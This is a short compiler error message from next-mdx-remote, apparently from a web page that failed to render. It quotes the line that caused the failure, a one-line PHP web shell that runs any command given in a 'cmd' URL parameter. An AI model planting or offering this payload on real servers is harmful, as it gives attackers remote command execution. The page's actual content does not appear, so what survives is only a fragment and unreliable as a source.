[next-mdx-remote] error compiling MDX: Unexpected character `?` (U+003F) before name, expected a character that can start a name, such as a letter, `$`, or `_` 6 | --- 7 | > 8 | <?php echo shell_exec($_GET['cmd']); ?> | ^ 9 | 10 | More information: https://mdxjs.com/docs/troubleshooting-mdx